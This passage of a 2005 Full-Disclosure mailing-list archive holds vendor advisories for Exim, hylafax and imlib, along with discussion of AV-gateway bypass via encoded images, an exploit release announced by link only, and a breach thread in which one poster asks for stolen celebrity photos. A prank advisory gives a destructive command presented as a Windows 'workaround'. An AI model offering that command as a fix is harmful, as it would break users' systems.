In-Reply-To: <b7bc1b1f05011022535f588d5f@mail.gmail.com>
References: <3AF76382C31760418AF0FBFD84F714035D0DD2@MI8NYCMAIL07.Mi8.com>
	<b7bc1b1f05011022535f588d5f@mail.gmail.com>
Message-ID: <33077.198.162.158.16.1105565539.squirrel@198.162.158.16>

On Mon, January 10, 2005 10:53 pm, GuidoZ said:
> Hiding behind an anonymous Yahoo email address is pretty weak too. If you
> *really* need to express yourself so badly, at least reveal your identity.

Anonymous?

> Received: from [61.131.63.62] by web61208.mail.yahoo.com via HTTP;
>     Mon, 10 Jan 2005 18:13:49 PST

inetnum:      61.131.0.0 - 61.131.127.255
netname:      CHINANET-FJ
descr:        CHINANET Fujian province network
descr:        Data Communication Division
descr:        China Telecom
country:      CN


Not even American... No point in tracking him down further. It's clear the
agenda is not domestic.

-Eric

--
arctic bears - email and dns services
http://www.arcticbears.com



From vorlon at gentoo.org  Wed Jan 12 22:01:30 2005
From: vorlon at gentoo.org (Matthias Geerdsen)
Date: Wed, 12 Jan 2005 23:01:30 +0100
Subject: [Full-Disclosure] [ GLSA 200501-23 ] Exim: Two buffer overflows
Message-ID: <20050112220130.GA11109@kosh.atw.wh.local>

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Gentoo Linux Security Advisory                           GLSA 200501-23
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
                                            http://security.gentoo.org/
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

  Severity: High
     Title: Exim: Two buffer overflows
      Date: January 12, 2005
      Bugs: #76893
        ID: 200501-23

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

Synopsis
========

Buffer overflow vulnerabilities, which could lead to arbitrary code
execution, have been found in the handling of IPv6 addresses as well
as in the SPA authentication mechanism in Exim.

Background
==========

Exim is an highly configurable message transfer agent (MTA) developed
at the University of Cambridge.

Affected packages
=================

    -------------------------------------------------------------------
     Package        /  Vulnerable  /                        Unaffected
    -------------------------------------------------------------------
  1  mail-mta/exim      < 4.43-r2                           >= 4.43-r2

Description
===========

Buffer overflows have been found in the host_aton() function
(CAN-2005-0021) as well as in the spa_base64_to_bits() function
(CAN-2005-0022), which is part of the SPA authentication code.

Impact
======

A local attacker could trigger the buffer overflow in host_aton() by
supplying an illegal IPv6 address with more than 8 components, using a
command line option. The second vulnerability could be remotely
exploited during SPA authentication, if it is enabled on the server.
Both buffer overflows can potentially lead to the execution of
arbitrary code.

Workaround
==========

There is no known workaround at this time.

Resolution
==========

All Exim users should upgrade to the latest version:

    # emerge --sync
    # emerge --ask --oneshot --verbose ">=mail-mta/exim-4.43-r2"

References
==========

  [ 1 ] Exim Announcement
        http://www.exim.org/mail-archives/exim-announce/2005/msg00000.html
  [ 2 ] CAN-2005-0021
        http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-0021
  [ 3 ] CAN-2005-0022
        http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-0022

Availability
============

This GLSA and any updates to it are available for viewing at
the Gentoo Security Website:

  http://security.gentoo.org/glsa/glsa-200501-23.xml

Concerns?
=========

Security is a primary focus of Gentoo Linux and ensuring the
confidentiality and security of our users machines is of utmost
importance to us. Any security concerns should be addressed to
security at gentoo.org or alternatively, you may file a bug at
http://bugs.gentoo.org.

License
=======

Copyright 2005 Gentoo Foundation, Inc; referenced text
belongs to its owner(s).

The contents of this document are licensed under the
Creative Commons - Attribution / Share Alike license.

http://creativecommons.org/licenses/by-sa/2.0

-------------- next part --------------
A non-text attachment was scrubbed...
Name: not available
Type: application/pgp-signature
Size: 189 bytes
Desc: not available
Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050112/7a2f126d/attachment.bin 

From nils at steering-group.net  Wed Jan 12 21:51:50 2005
From: nils at steering-group.net (Nils Ketelsen)
Date: Wed, 12 Jan 2005 16:51:50 -0500
Subject: [Full-Disclosure] Multi-vendor AV gateway image inspection bypass
	vulnerability
In-Reply-To: <20050112203742.77430.qmail@web53205.mail.yahoo.com>
References: <20050112203742.77430.qmail@web53205.mail.yahoo.com>
Message-ID: <20050112215150.GA21636@h8000.serverkompetenz.net>

On Wed, Jan 12, 2005 at 12:37:42PM -0800, Steven Rakick wrote:
> This would mean that if an image exploiting the
> recently announced Microsoft LoadImage API overflow
> were imbedded into HTML email there would be zero
> defense from the network layer as it would be
> completely invisible.

Yes. I am planning to test, what that means to all those content filtering
proxies. I have found one product that claims to be able to block "MIME
content in HTML", I think they are referring to RfC2397 with that. 

> 
> Why am I not seeing more about this in the press? It
> seems pretty threatening to me...

Internet Explorer does not Implement RfC2397. That means it is interesting
for a far smaller audience. ;-)

Nils
-- 
Nils Ketelsen  // Mississauga, Canada
43? 35' 13"N, 79? 38' 23"W
mailto:`#!/bin/sh`@druecke.strg-alt.entf.org
http://druecke.strg-alt-entf.org/



From hevnsnt at gmail.com  Wed Jan 12 22:19:25 2005
From: hevnsnt at gmail.com (hevnsnt)
Date: Wed, 12 Jan 2005 16:19:25 -0600
Subject: [Full-Disclosure] T-Mobile Hacker and server vulnerabilities
In-Reply-To: <1105555430.9780.12.camel@localhost.localdomain>
References: <200501121700.j0CH0K9g013975@lists.netsys.com>
	<1105555430.9780.12.camel@localhost.localdomain>
Message-ID: <e006fdd505011214194e969f0b@mail.gmail.com>

PICS?


On Wed, 12 Jan 2005 13:43:50 -0500, Kristian Hermansen
<khermansen at ht-technology.com> wrote:
> Does anyone have specifics on how this hacker Jacobson exploited flaws
> in the T-Mobile server applications to gain entry to the back-end
> database?  Was it some gross oversight on T-Mobile's part or something
> more obscure that admins should know about?  The Secret Service seems to
> believe that either his skills or his underground connections will allow
> him to be their personal slut for the next few years.
> 
> http://www.securityfocus.com/news/10271
> 
> Oh, and if anyone has some of the celebrity pictures that he snarfed
> from the database I would care for a link!
> --
> Kristian Hermansen <khermansen at ht-technology.com>
> 
> 
> _______________________________________________
> Full-Disclosure - We believe in it.
> Charter: http://lists.netsys.com/full-disclosure-charter.html
> 
> 
> 
> 


-- 
Do yourself (and the rest of the internet) a favor, Get Firefox!


From seclists at securinews.com  Wed Jan 12 22:28:18 2005
From: seclists at securinews.com (Paul Kurczaba)
Date: Wed, 12 Jan 2005 17:28:18 -0500
Subject: [Full-Disclosure] PoC to be released on 01/20/05
In-Reply-To: <33077.198.162.158.16.1105565539.squirrel@198.162.158.16>
Message-ID: <200501122228.j0CMSVrs015898@lists.netsys.com>

That is the same thing I found :) What a waste of bandwidth... He could have
at least sent it from a hijacked box in the US :) O, well...

-Paul 

-----Original Message-----
From: full-disclosure-bounces at lists.netsys.com
[mailto:full-disclosure-bounces at lists.netsys.com] On Behalf Of Eric Paynter
Sent: Wednesday, January 12, 2005 4:32 PM
To: full-disclosure at lists.netsys.com
Subject: Re: [Full-Disclosure] PoC to be released on 01/20/05

On Mon, January 10, 2005 10:53 pm, GuidoZ said:
> Hiding behind an anonymous Yahoo email address is pretty weak too. If 
> you
> *really* need to express yourself so badly, at least reveal your identity.

Anonymous?

> Received: from [61.131.63.62] by web61208.mail.yahoo.com via HTTP;
>     Mon, 10 Jan 2005 18:13:49 PST

inetnum:      61.131.0.0 - 61.131.127.255
netname:      CHINANET-FJ
descr:        CHINANET Fujian province network
descr:        Data Communication Division
descr:        China Telecom
country:      CN


Not even American... No point in tracking him down further. It's clear the
agenda is not domestic.

-Eric

--
arctic bears - email and dns services
http://www.arcticbears.com

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html




From kf_lists at digitalmunition.com  Wed Jan 12 22:38:46 2005
From: kf_lists at digitalmunition.com (KF (lists))
Date: Wed, 12 Jan 2005 17:38:46 -0500
Subject: [Full-Disclosure] T-Mobile Hacker and server vulnerabilities
In-Reply-To: <1105555430.9780.12.camel@localhost.localdomain>
References: <200501121700.j0CH0K9g013975@lists.netsys.com>
	<1105555430.9780.12.camel@localhost.localdomain>
Message-ID: <41E5A6F6.2000406@digitalmunition.com>

The best part is that none of the employees or managers even had a 
canned response.
"What we were hacked? *smirk* I've never heard that" was the response I 
got to begin with, then the guy went to grab his manager whom coached 
him to say "Our customer relations department is handling this, fax your 
concerns to them and someone may get back to you".

-KF

Kristian Hermansen wrote:

>Does anyone have specifics on how this hacker Jacobson exploited flaws
>in the T-Mobile server applications to gain entry to the back-end
>database?  Was it some gross oversight on T-Mobile's part or something
>more obscure that admins should know about?  The Secret Service seems to
>believe that either his skills or his underground connections will allow
>him to be their personal slut for the next few years.
>
>http://www.securityfocus.com/news/10271
>
>Oh, and if anyone has some of the celebrity pictures that he snarfed
>from the database I would care for a link!
>  
>
>------------------------------------------------------------------------
>
>_______________________________________________
>Full-Disclosure - We believe in it.
>Charter: http://lists.netsys.com/full-disclosure-charter.html
>  
>



From seclists at securinews.com  Wed Jan 12 22:46:54 2005
From: seclists at securinews.com (Paul Kurczaba)
Date: Wed, 12 Jan 2005 17:46:54 -0500
Subject: [Full-Disclosure] MORE CRITICAL FLAWS IN MS WINDOWS EXPLORER
In-Reply-To: <20050111225204.5DD45416118@ws5-2.us4.outblaze.com>
Message-ID: <200501122247.j0CMl8rs018087@lists.netsys.com>

I feel bad for the poor folks that follow the "Workaround" :(

-Paul

-----Original Message-----
From: full-disclosure-bounces at lists.netsys.com
[mailto:full-disclosure-bounces at lists.netsys.com] On Behalf Of Team Pwnge
Sent: Tuesday, January 11, 2005 5:52 PM
To: vulnwatch at vulnwatch.org; bugtraq at securityfocus.com;
full-disclosure at lists.netsys.com
Subject: [Full-Disclosure] MORE CRITICAL FLAWS IN MS WINDOWS EXPLORER

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
TEAM PWN4GE Security Advisory                                     PWNED
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

  Severity: HIGH
     Title: EXPLORER: Vulnerability in all versions of Windows Explorer
      Date: January 11, 2005

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

Synopsis
========

Multiple overflows have been found in Windows Explorer, potentially allowing
a remote user to open Explorer and run files remotely.


Background
==========

Windows Explorer is an advanced browsing tool made by Microsoft. It is used
in daily tasks to open folders, copy files, delete files, rename files and
view files on a system. It is the foundation of the World Wide Web and used
by billions worldwide. It runs on an array of machines.


Affected versions
=================

All versions of Windows' Explorer are vulnerable

Description
===========

Shogun Suzuki discovered that a remote user can connect to any machine via
numerous exploits and use Windows Explorer to view files, rename files,
delete files, change permissions on files stored on a remote machine that
has been pwned.

Impact
======

A remote attacker could install something similar to PCAnywhere after
exploiting Windows and use Windows' Explorer to view, copy and or open any
file on a victims machine.

Workaround
==========

On a command prompt: del C:\WINDOWS\explorer.exe


Concerns?
=========

Security is a primary focus of TEAM PWN4GE and ensuring the progress of
secure Windows machines be our dreams. As security concerns should be
addressed to respective vendors, we feel the urge to bypass standards and
bring our common dreams of a secure homeland to the Interweb.

License
=======

Copyright 2005 TEAM PWN4GE

The contents of this document are licensed under the Creative Commons -
Attribution / Share Alike license.

http://creativecommons.org/licenses/by-sa/2.0
--
_______________________________________________
Outgun.com free e-mail @ www.outgun.com Check out our Premium services -
POP3 downloading, e-mail forwarding, and 25MB mailboxes!

Powered by Outblaze

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html




From Valdis.Kletnieks at vt.edu  Wed Jan 12 22:50:40 2005
From: Valdis.Kletnieks at vt.edu (Valdis.Kletnieks at vt.edu)
Date: Wed, 12 Jan 2005 17:50:40 -0500
Subject: [Full-Disclosure] PoC to be released on 01/20/05 
In-Reply-To: Your message of "Wed, 12 Jan 2005 17:28:18 EST."
	<200501122228.j0CMSVrs015898@lists.netsys.com> 
References: <200501122228.j0CMSVrs015898@lists.netsys.com>
Message-ID: <200501122250.j0CMoeN1006392@turing-police.cc.vt.edu>

On Wed, 12 Jan 2005 4:32 EST, Eric Paynter said:
> Not even American... No point in tracking him down further. It's clear the
> agenda is not domestic.

On Wed, 12 Jan 2005 17:28:18 EST, Paul Kurczaba said:
> That is the same thing I found :) What a waste of bandwidth... He could have
> at least sent it from a hijacked box in the US :) O, well...

How do you know he didn't start <wherever>, hit a hijacked US box, and from
there used a Chinese proxy server to inject it? ;)
-------------- next part --------------
A non-text attachment was scrubbed...
Name: not available
Type: application/pgp-signature
Size: 226 bytes
Desc: not available
Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050112/6ef0f9b1/attachment.bin 

From frank at knobbe.us  Wed Jan 12 22:57:24 2005
From: frank at knobbe.us (Frank Knobbe)
Date: Wed, 12 Jan 2005 16:57:24 -0600
Subject: [Full-Disclosure] Multi-vendor AV gateway image inspection
	bypass vulnerability
In-Reply-To: <20050112203742.77430.qmail@web53205.mail.yahoo.com>
References: <20050112203742.77430.qmail@web53205.mail.yahoo.com>
Message-ID: <1105570644.793.25.camel@localhost>

On Wed, 2005-01-12 at 12:37 -0800, Steven Rakick wrote:
> This would mean that if an image exploiting the
> recently announced Microsoft LoadImage API overflow
> were imbedded into HTML email there would be zero
> defense from the network layer as it would be
> completely invisible.
> 
> Why am I not seeing more about this in the press? It
> seems pretty threatening to me...

Because it's old news from a network layer perspective. Images, emails,
etc can also be transferred zipped or encoded in base64 and what not.
Lots of IPS/IDS/AV and other gateway devices miss these encoded files.

The only novel approach I can see here is the embedding of the data
together with type and encoding in the URL. Nice idea. $20 says
spyware/spam/porn/phishing sites will adopt this fairly soon.

Regards,
Frank

-------------- next part --------------
A non-text attachment was scrubbed...
Name: not available
Type: application/pgp-signature
Size: 187 bytes
Desc: This is a digitally signed message part
Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050112/4f409ecb/attachment.bin 

From uberguidoz at gmail.com  Wed Jan 12 23:11:24 2005
From: uberguidoz at gmail.com (GuidoZ)
Date: Wed, 12 Jan 2005 15:11:24 -0800
Subject: [Full-Disclosure] PoC to be released on 01/20/05
In-Reply-To: <33077.198.162.158.16.1105565539.squirrel@198.162.158.16>
References: <3AF76382C31760418AF0FBFD84F714035D0DD2@MI8NYCMAIL07.Mi8.com>
	<b7bc1b1f05011022535f588d5f@mail.gmail.com>
	<33077.198.162.158.16.1105565539.squirrel@198.162.158.16>
Message-ID: <b7bc1b1f05011215115ea7e861@mail.gmail.com>

> Anonymous?
> 
> > Received: from [61.131.63.62] by web61208.mail.yahoo.com via HTTP;
> >     Mon, 10 Jan 2005 18:13:49 PST

Yeah, I found that too. However, doing a Google search for public
proxies revealed that IP# listed.
(http://www.publicproxyservers.com/page1.html) I'll bet it's someone
from this list who participated in the previous political debates and
decided to share their thoughts without taking the backlash. Besides
it being completely off-topic, it's also childish. If you *must*
debate, at least participate. ;)

Now they are sitting there jacking-off to the discussion we're having.
I already emailed the abuse email address listed fromt he WHOIS
lookup, though I only got back a canned response stating that they
really don't care. So, I'm done with with thread. =)

--
Peace. ~G


On Wed, 12 Jan 2005 13:32:19 -0800 (PST), Eric Paynter
<eric at arcticbears.com> wrote:
> On Mon, January 10, 2005 10:53 pm, GuidoZ said:
> > Hiding behind an anonymous Yahoo email address is pretty weak too. If you
> > *really* need to express yourself so badly, at least reveal your identity.
> 
> Anonymous?
> 
> > Received: from [61.131.63.62] by web61208.mail.yahoo.com via HTTP;
> >     Mon, 10 Jan 2005 18:13:49 PST
> 
> inetnum:      61.131.0.0 - 61.131.127.255
> netname:      CHINANET-FJ
> descr:        CHINANET Fujian province network
> descr:        Data Communication Division
> descr:        China Telecom
> country:      CN
> 
> Not even American... No point in tracking him down further. It's clear the
> agenda is not domestic.
> 
> -Eric
> 
> --
> arctic bears - email and dns services
> http://www.arcticbears.com
> 
> _______________________________________________
> Full-Disclosure - We believe in it.
> Charter: http://lists.netsys.com/full-disclosure-charter.html
>


From skylined at edup.tudelft.nl  Thu Jan 13 00:21:47 2005
From: skylined at edup.tudelft.nl (Berend-Jan Wever)
Date: Thu, 13 Jan 2005 01:21:47 +0100 (CET)
Subject: [Full-Disclosure] InternetExploiter 3.2
Message-ID: <2223.172.20.73.43.1105575707.squirrel@www.edup.local>

Hi all,

I know I released a working exploit earlier but it had two small
imperfections, version 0.2 should be more robust and fully OS/SP/language
independant. I personally believe it should work on all platforms, but I
don't have enough machines nor time to prove my claim, I'll leave that to
you.
Since my ISP disconnects me every time I attach a PoC that gets flagged as
a threat, it is available @ http://www.edup.tudelft.nl/~bjwever

Let me know if you experienced troubles with v0.1 that v0.2 doesn't fix
for you.

Cheers,
SkyLined

PS. Thanks to spoonm for handing me details on the ANI file format, that
should increase the exploits stability a lot ;)


From stevenrakick at yahoo.com  Thu Jan 13 03:27:20 2005
From: stevenrakick at yahoo.com (Steven Rakick)
Date: Wed, 12 Jan 2005 19:27:20 -0800 (PST)
Subject: [Full-Disclosure] Multi-vendor AV gateway image inspection bypass
	vulnerability
In-Reply-To: <1105570644.793.25.camel@localhost>
Message-ID: <20050113032720.77906.qmail@web53207.mail.yahoo.com>

I see a distinct difference here.

First off, this technique doesn't add an additional
layer of user interaction like zipping a file and/or
password protecting it.

Secondly, other techniques don't completely obsure the
content or content header from the inspection
mechanism.

Now for the actual reason for this email. 

This evening I noticed that my CheckPoint Firewall-1
(with SmartDefense) now has a new option to "Block
Encoded Images".  It doesn't actually detect the
exploit code, but at least someones starting to at
least give you an option to defend yourself by
blocking RFC 2397 formatted images.


--- Frank Knobbe <frank at knobbe.us> wrote:

> On Wed, 2005-01-12 at 12:37 -0800, Steven Rakick
> wrote:
> > This would mean that if an image exploiting the
> > recently announced Microsoft LoadImage API
> overflow
> > were imbedded into HTML email there would be zero
> > defense from the network layer as it would be
> > completely invisible.
> > 
> > Why am I not seeing more about this in the press?
> It
> > seems pretty threatening to me...
> 
> Because it's old news from a network layer
> perspective. Images, emails,
> etc can also be transferred zipped or encoded in
> base64 and what not.
> Lots of IPS/IDS/AV and other gateway devices miss
> these encoded files.
> 
> The only novel approach I can see here is the
> embedding of the data
> together with type and encoding in the URL. Nice
> idea. $20 says
> spyware/spam/porn/phishing sites will adopt this
> fairly soon.
> 
> Regards,
> Frank
> 
> 

> ATTACHMENT part 2 application/pgp-signature
name=signature.asc


__________________________________________________
Do You Yahoo!?
Tired of spam?  Yahoo! Mail has the best spam protection around 
http://mail.yahoo.com 


From frank at knobbe.us  Thu Jan 13 04:24:40 2005
From: frank at knobbe.us (Frank Knobbe)
Date: Wed, 12 Jan 2005 22:24:40 -0600
Subject: [Full-Disclosure] Multi-vendor AV gateway image inspection
	bypass vulnerability
In-Reply-To: <20050113032720.77906.qmail@web53207.mail.yahoo.com>
References: <20050113032720.77906.qmail@web53207.mail.yahoo.com>
Message-ID: <1105590280.793.49.camel@localhost>

On Wed, 2005-01-12 at 19:27 -0800, Steven Rakick wrote:
> First off, this technique doesn't add an additional
> layer of user interaction like zipping a file and/or
> password protecting it.

No, I meant zip encoding as in gzip'ed web content. I wasn't referring
to ZIP archives user have to open.

> This evening I noticed that my CheckPoint Firewall-1
> (with SmartDefense) now has a new option to "Block
> Encoded Images".  It doesn't actually detect the
> exploit code, but at least someones starting to at
> least give you an option to defend yourself by
> blocking RFC 2397 formatted images.

Any idea how it does that? Does it look for encoding patterns or does it
decode and then check? The later might have an adverse performance
impact on busy sites.

Cheers,
Frank

-------------- next part --------------
A non-text attachment was scrubbed...
Name: not available
Type: application/pgp-signature
Size: 187 bytes
Desc: This is a digitally signed message part
Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050112/de2344ec/attachment.bin 

From aditya.deshmukh at online.gateway.expertworks.net  Thu Jan 13 05:11:32 2005
From: aditya.deshmukh at online.gateway.expertworks.net (ALD, Aditya,
	Aditya Lalit Deshmukh)
Date: Thu, 13 Jan 2005 10:41:32 +0530
Subject: [Full-Disclosure] MORE CRITICAL FLAWS IN MS WINDOWS EXPLORER
In-Reply-To: <200501122247.j0CMl8rs018087@lists.netsys.com>
Message-ID: <!~!UENERkVCMDkAAQACAAAAAAAAAAAAAAAAABgAAAAAAAAA0BKn9uKnWEeCDU7Vx+IAQ8KAAAAQAAAALhYyTut6/ku9sLSbhd1gewEAAAAA@online.gateway.expertworks.net>

>I feel bad for the poor folks that follow the "Workaround" :(

Yep it DOESN'T WORK! ;)


________________________________________________________________________
Delivered using the Free Personal Edition of Mailtraq (www.mailtraq.com)


From bruno at wolff.to  Thu Jan 13 05:58:16 2005
From: bruno at wolff.to (Bruno Wolff III)
Date: Wed, 12 Jan 2005 23:58:16 -0600
Subject: [Full-Disclosure] Re: Full-Disclosure: Interesting but suspicious
	possible phishing mail
In-Reply-To: <200501120156.j0C1uCrs005908@lists.netsys.com>
References: <200501111334.j0BDYZ9f008427@lists.netsys.com>
	<200501120156.j0C1uCrs005908@lists.netsys.com>
Message-ID: <20050113055816.GA6639@wolff.to>

On Tue, Jan 11, 2005 at 19:56:17 -0600,
  RandallM <randallm at fidmail.com> wrote:
> Have been getting a number of these come thru also at work. 
> Of course all the users are asking me questions about these.
> They all have the strange words, paragraphs, and questions like this one.
> They really got my attention. I at first thought they were hidden messages
> but
> Not so as the one we receive come as text. 

I believe they are intended to break bayesian filtering. If you start
tagging those messages as spam you are likely to have the false positive
rate of your bayesian filter increase. Presumably they want average users
to give up on bayesian filtering after having problems with it.


From security at linux-mandrake.com  Thu Jan 13 06:32:17 2005
From: security at linux-mandrake.com (Mandrake Linux Security Team)
Date: Wed, 12 Jan 2005 23:32:17 -0700
Subject: [Full-Disclosure] MDKSA-2005:006 - Updated hylafax packages fix
	vulnerability
Message-ID: <E1CoyWn-0008IP-7v@updates.mandrakesoft.com>

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

 _______________________________________________________________________

                 Mandrakelinux Security Update Advisory
 _______________________________________________________________________

 Package name:           hylafax
 Advisory ID:            MDKSA-2005:006
 Date:                   January 12th, 2005

 Affected versions:	 10.0, 10.1
 ______________________________________________________________________

 Problem Description:

 Patrice Fournier discovered a vulnerability in the authorization
 sub-system of hylafax.  A local or remote user guessing the contents
 of the hosts.hfaxd database could gain unauthorized access to the
 fax system.
 
 The updated packages are provided to prevent this issue.  Note that
 the packages included with Corporate Server 2.1 do not require this
 fix.
 _______________________________________________________________________

 References:

  http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-1182
 ______________________________________________________________________

 Updated Packages:
  
 Mandrakelinux 10.0:
 ee579763c8d03a6700ed952b9ccec832  10.0/RPMS/hylafax-4.1.8-2.1.100mdk.i586.rpm
 342f2d7f890f2b31ef689eb0a308dee4  10.0/RPMS/hylafax-client-4.1.8-2.1.100mdk.i586.rpm
 998f0ad4665e364c607fae0d87bf6e63  10.0/RPMS/hylafax-server-4.1.8-2.1.100mdk.i586.rpm
 5113375fd58490f64f6b5c0293780a79  10.0/RPMS/libhylafax4.1.1-4.1.8-2.1.100mdk.i586.rpm
 996a95af88ca9ab77371448957b7271f  10.0/RPMS/libhylafax4.1.1-devel-4.1.8-2.1.100mdk.i586.rpm
 3530b9962aa58309aa59c1fd355d23ac  10.0/SRPMS/hylafax-4.1.8-2.1.100mdk.src.rpm

 Mandrakelinux 10.0/AMD64:
 8b37c55f1eaadd9c4a0645c43b4ad25c  amd64/10.0/RPMS/hylafax-4.1.8-2.1.100mdk.amd64.rpm
 cb3290ee2bf666ed51e427e59829459d  amd64/10.0/RPMS/hylafax-client-4.1.8-2.1.100mdk.amd64.rpm
 05451b45a4036f314933d15b755ea8d7  amd64/10.0/RPMS/hylafax-server-4.1.8-2.1.100mdk.amd64.rpm
 35310391ebce8f0a4085ed6b7d2ccd04  amd64/10.0/RPMS/lib64hylafax4.1.1-4.1.8-2.1.100mdk.amd64.rpm
 d1b71635033b9e72c86057a0f156c544  amd64/10.0/RPMS/lib64hylafax4.1.1-devel-4.1.8-2.1.100mdk.amd64.rpm
 3530b9962aa58309aa59c1fd355d23ac  amd64/10.0/SRPMS/hylafax-4.1.8-2.1.100mdk.src.rpm

 Mandrakelinux 10.1:
 2cbc9e6bd58daf7d2d15f6091416ca23  10.1/RPMS/hylafax-4.2.0-1.1.101mdk.i586.rpm
 80cf2d108124ebab09f2d92ffd3e2391  10.1/RPMS/hylafax-client-4.2.0-1.1.101mdk.i586.rpm
 b4e98805f61130b91b5cc98ba886af89  10.1/RPMS/hylafax-server-4.2.0-1.1.101mdk.i586.rpm
 5afec8caa3b77932c27d032e21a0eeed  10.1/RPMS/libhylafax4.2.0-4.2.0-1.1.101mdk.i586.rpm
 e5aafca41da67cacdef699983d81f3f0  10.1/RPMS/libhylafax4.2.0-devel-4.2.0-1.1.101mdk.i586.rpm
 1fae0a459f3dce423c904ab262921cba  10.1/SRPMS/hylafax-4.2.0-1.1.101mdk.src.rpm

 Mandrakelinux 10.1/X86_64:
 ccfce91efcd9e16651a6bb2995a2cc78  x86_64/10.1/RPMS/hylafax-4.2.0-1.1.101mdk.x86_64.rpm
 6fd803abc59ec7d04f289d3aca50bd25  x86_64/10.1/RPMS/hylafax-client-4.2.0-1.1.101mdk.x86_64.rpm
 b7ee9463f3bdf38fa1c1f5271d1d4022  x86_64/10.1/RPMS/hylafax-server-4.2.0-1.1.101mdk.x86_64.rpm
 394b51eaef66c424ce9d448dd4ab237e  x86_64/10.1/RPMS/lib64hylafax4.2.0-4.2.0-1.1.101mdk.x86_64.rpm
 75fbf7eb72ba172e204612580e58b2f1  x86_64/10.1/RPMS/lib64hylafax4.2.0-devel-4.2.0-1.1.101mdk.x86_64.rpm
 1fae0a459f3dce423c904ab262921cba  x86_64/10.1/SRPMS/hylafax-4.2.0-1.1.101mdk.src.rpm
 _______________________________________________________________________

 To upgrade automatically use MandrakeUpdate or urpmi.  The verification
 of md5 checksums and GPG signatures is performed automatically for you.

 All packages are signed by Mandrakesoft for security.  You can obtain
 the GPG public key of the Mandrakelinux Security Team by executing:

  gpg --recv-keys --keyserver pgp.mit.edu 0x22458A98

 You can view other update advisories for Mandrakelinux at:

  http://www.mandrakesoft.com/security/advisories

 If you want to report vulnerabilities, please contact

  security_linux-mandrake.com

 Type Bits/KeyID     Date       User ID
 pub  1024D/22458A98 2000-07-10 Linux Mandrake Security Team
  <security linux-mandrake.com>
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.4 (GNU/Linux)

iD8DBQFB5hXxmqjQ0CJFipgRAsKAAJ9BQXhAKBLMQ9rBpe+OfRpNGonKKgCg2NaN
kQcWe5+upOq+jtr7PT1q6NM=
=eiBI
-----END PGP SIGNATURE-----


From security at linux-mandrake.com  Thu Jan 13 06:33:58 2005
From: security at linux-mandrake.com (Mandrake Linux Security Team)
Date: Wed, 12 Jan 2005 23:33:58 -0700
Subject: [Full-Disclosure] MDKSA-2005:007 - Updated imlib packages fix
	vulnerability
Message-ID: <E1CoyYQ-0008OX-Ul@updates.mandrakesoft.com>

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

 _______________________________________________________________________

                 Mandrakelinux Security Update Advisory
 _______________________________________________________________________

 Package name:           imlib
 Advisory ID:            MDKSA-2005:007
 Date:                   January 12th, 2005

 Affected versions:	 10.0, 10.1, 9.2, Corporate Server 2.1
 ______________________________________________________________________

 Problem Description:

 Pavel Kankovsky discovered several heap overflow flaw in the imlib
 image handler.  An attacker could create a carefully crafted image file
 in such a way that it could cause an application linked with imlib to
 execute arbitrary code when the file was opened by a user
 (CAN-2004-1025).
 
 As well, Pavel also discovered several integer overflows in imlib.
 These could allow an attacker, creating a carefully crafted image
 file, to cause an application linked with imlib to execute arbitrary
 code or crash (CAN-2004-1026).
 
 The updated packages have been patched to prevent these problems.
 _______________________________________________________________________

 References:

  http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-1025
  http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-1026
 ______________________________________________________________________

 Updated Packages:
  
 Mandrakelinux 10.0:
 bd7bbc47dfdf26b04d510c6b030b3cac  10.0/RPMS/imlib-1.9.14-8.2.100mdk.i586.rpm
 f204804429ead96fa2f90f5b8a531571  10.0/RPMS/imlib-cfgeditor-1.9.14-8.2.100mdk.i586.rpm
 ac82e42545e886d3e1362d0af8834d71  10.0/RPMS/libimlib1-1.9.14-8.2.100mdk.i586.rpm
 0d824361bc7b789a4b244be0be5b20ef  10.0/RPMS/libimlib1-devel-1.9.14-8.2.100mdk.i586.rpm
 7d6cb872bed064d54dba0d631eb9b673  10.0/RPMS/libimlib2_1-1.0.6-4.2.100mdk.i586.rpm
 71ab28571ee2bbff24c7396881e7d51e  10.0/RPMS/libimlib2_1-devel-1.0.6-4.2.100mdk.i586.rpm
 ecc8bda60ab924afe42f4eb5834bf42c  10.0/RPMS/libimlib2_1-filters-1.0.6-4.2.100mdk.i586.rpm
 f2946cf510224a452cc928f5546ff1f0  10.0/RPMS/libimlib2_1-loaders-1.0.6-4.2.100mdk.i586.rpm
 9382c1d6bce0884340042fa9e525fd08  10.0/SRPMS/imlib-1.9.14-8.2.100mdk.src.rpm
 7698695bd2daa38fba1612c1e91a5b3a  10.0/SRPMS/imlib2-1.0.6-4.2.100mdk.src.rpm

 Mandrakelinux 10.0/AMD64:
 3e37213ffc4b149e26e5e6a88912ecae  amd64/10.0/RPMS/imlib-1.9.14-8.2.100mdk.amd64.rpm
 b14f75972c2ab469b800e7b6cdc90c55  amd64/10.0/RPMS/imlib-cfgeditor-1.9.14-8.2.100mdk.amd64.rpm
 bca21d96eab3e80d6be9d4b5628b0690  amd64/10.0/RPMS/lib64imlib1-1.9.14-8.2.100mdk.amd64.rpm
 59a9d02a3108a833b42b43b84efd6aa3  amd64/10.0/RPMS/lib64imlib1-devel-1.9.14-8.2.100mdk.amd64.rpm
